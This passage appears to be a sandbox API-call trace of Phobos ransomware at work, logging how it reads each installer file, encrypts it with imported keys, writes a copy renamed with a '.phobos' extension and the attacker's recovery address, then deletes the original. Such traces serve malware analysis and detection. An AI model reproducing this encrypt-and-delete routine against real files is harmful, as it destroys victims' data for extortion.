lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x102, lpOverlapped=0x0) returned 1 [0051.533] CryptDestroyKey (hKey=0x10ce30) returned 1 [0051.533] CloseHandle (hObject=0x31c) returned 1 [0051.534] CloseHandle (hObject=0x304) returned 1 [0051.545] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi")) returned 1 [0051.550] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0051.550] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0051.550] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=184832) returned 1 [0051.550] CloseHandle (hObject=0x304) returned 1 [0051.550] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi")) returned 0x80 [0051.550] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0051.550] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0051.550] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0051.550] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0051.551] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0051.551] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10d070) returned 1 [0051.551] CryptSetKeyParam (hKey=0x10d070, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0051.551] ReadFile (in: hFile=0x304, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x2d200, lpOverlapped=0x0) returned 1 [0051.813] CryptEncrypt (in: hKey=0x10d070, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x2d210, dwBufLen=0x2d210 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x2d210) returned 1 [0051.814] WriteFile (in: hFile=0x31c, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x2d210, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x2d210, lpOverlapped=0x0) returned 1 [0051.817] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10ceb0) returned 1 [0051.817] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0051.817] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x50, dwBufLen=0x50 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x50) returned 1 [0051.817] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0051.817] WriteFile (in: hFile=0x31c, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x102, lpOverlapped=0x0) returned 1 [0051.817] CryptDestroyKey (hKey=0x10d070) returned 1 [0051.817] CloseHandle (hObject=0x304) returned 1 [0051.817] CloseHandle (hObject=0x31c) returned 1 [0051.826] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi")) returned 1 [0051.828] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0051.828] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0051.828] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=94720) returned 1 [0051.828] CloseHandle (hObject=0x31c) returned 1 [0051.828] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi")) returned 0x80 [0051.829] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0051.829] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0051.829] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0051.829] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0051.829] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0051.829] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10cdf0) returned 1 [0051.829] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0051.829] ReadFile (in: hFile=0x31c, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x17200, lpOverlapped=0x0) returned 1 [0051.831] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x17210, dwBufLen=0x17210 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x17210) returned 1 [0051.831] WriteFile (in: hFile=0x304, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x17210, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x17210, lpOverlapped=0x0) returned 1 [0051.833] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10cbb0) returned 1 [0051.833] CryptSetKeyParam (hKey=0x10cbb0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0051.833] CryptEncrypt (in: hKey=0x10cbb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x50, dwBufLen=0x50 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x50) returned 1 [0051.833] CryptDestroyKey (hKey=0x10cbb0) returned 1 [0051.833] WriteFile (in: hFile=0x304, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x102, lpOverlapped=0x0) returned 1 [0051.833] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0051.833] CloseHandle (hObject=0x31c) returned 1 [0051.833] CloseHandle (hObject=0x304) returned 1 [0051.835] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi")) returned 1 [0051.836] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0051.836] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0051.837] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=78152) returned 1 [0051.837] CloseHandle (hObject=0x304) returned 1 [0051.837] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe")) returned 0x80 [0051.837] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Setup.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\setup.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0051.837] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0051.837] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0051.837] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0051.837] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Setup.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\setup.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0051.837] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10cab0) returned 1 [0051.837] CryptSetKeyParam (hKey=0x10cab0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0051.837] ReadFile (in: hFile=0x304, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x13148, lpOverlapped=0x0) returned 1 [0051.946] CryptEncrypt (in: hKey=0x10cab0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x13150, dwBufLen=0x13150 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x13150) returned 1 [0051.946] WriteFile (in: hFile=0x31c, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x13150, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x13150, lpOverlapped=0x0) returned 1 [0051.948] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10d0f0) returned 1 [0051.948] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0051.948] CryptEncrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x40, dwBufLen=0x40 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x40) returned 1 [0051.948] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0051.948] WriteFile (in: hFile=0x31c, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0xf2, lpOverlapped=0x0) returned 1 [0051.948] CryptDestroyKey (hKey=0x10cab0) returned 1 [0051.948] CloseHandle (hObject=0x304) returned 1 [0051.948] CloseHandle (hObject=0x31c) returned 1 [0051.950] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe")) returned 1 [0051.951] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0051.951] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0051.952] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=807256) returned 1 [0051.952] CloseHandle (hObject=0x31c) returned 1 [0051.952] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll")) returned 0x80 [0051.952] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupEngine.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0051.952] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0051.952] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0051.952] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0051.952] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupEngine.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0051.980] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10cf70) returned 1 [0051.980] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0051.980] ReadFile (in: hFile=0x31c, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0xc5158, lpOverlapped=0x0) returned 1 [0051.985] CryptEncrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0xc5160, dwBufLen=0xc5160 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0xc5160) returned 1 [0051.986] WriteFile (in: hFile=0x304, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0xc5160, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0xc5160, lpOverlapped=0x0) returned 1 [0051.999] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10caf0) returned 1 [0051.999] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0051.999] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x40, dwBufLen=0x40 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x40) returned 1 [0051.999] CryptDestroyKey (hKey=0x10caf0) returned 1 [0051.999] WriteFile (in: hFile=0x304, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0xf2, lpOverlapped=0x0) returned 1 [0051.999] CryptDestroyKey (hKey=0x10cf70) returned 1 [0051.999] CloseHandle (hObject=0x31c) returned 1 [0051.999] CloseHandle (hObject=0x304) returned 1 [0052.165] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll")) returned 1 [0052.173] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0052.173] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0052.173] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=295248) returned 1 [0052.173] CloseHandle (hObject=0x304) returned 1 [0052.174] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll")) returned 0x80 [0052.174] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUi.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\setupui.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0052.174] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0052.174] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0052.174] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0052.174] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUi.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\setupui.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0052.174] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10cab0) returned 1 [0052.174] CryptSetKeyParam (hKey=0x10cab0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0052.174] ReadFile (in: hFile=0x304, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x48150, lpOverlapped=0x0) returned 1 [0052.199] CryptEncrypt (in: hKey=0x10cab0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x48160, dwBufLen=0x48160 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x48160) returned 1 [0052.199] WriteFile (in: hFile=0x2e4, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x48160, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x48160, lpOverlapped=0x0) returned 1 [0052.205] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10d0b0) returned 1 [0052.205] CryptSetKeyParam (hKey=0x10d0b0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0052.205] CryptEncrypt (in: hKey=0x10d0b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x40, dwBufLen=0x40 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x40) returned 1 [0052.205] CryptDestroyKey (hKey=0x10d0b0) returned 1 [0052.205] WriteFile (in: hFile=0x2e4, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0xf2, lpOverlapped=0x0) returned 1 [0052.205] CryptDestroyKey (hKey=0x10cab0) returned 1 [0052.206] CloseHandle (hObject=0x304) returned 1 [0052.206] CloseHandle (hObject=0x2e4) returned 1 [0052.217] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll")) returned 1 [0052.220] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0052.220] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0052.221] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=96088) returned 1 [0052.221] CloseHandle (hObject=0x2e4) returned 1 [0052.221] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe")) returned 0x80 [0052.221] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUtility.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0052.221] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0052.221] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0052.221] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0052.221] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUtility.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0052.221] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10ccf0) returned 1 [0052.222] CryptSetKeyParam (hKey=0x10ccf0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0052.222] ReadFile (in: hFile=0x2e4, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x17758, lpOverlapped=0x0) returned 1 [0052.271] CryptEncrypt (in: hKey=0x10ccf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x17760, dwBufLen=0x17760 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x17760) returned 1 [0052.271] WriteFile (in: hFile=0x304, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x17760, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x17760, lpOverlapped=0x0) returned 1 [0052.274] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10cdf0) returned 1 [0052.274] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0052.274] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x50, dwBufLen=0x50 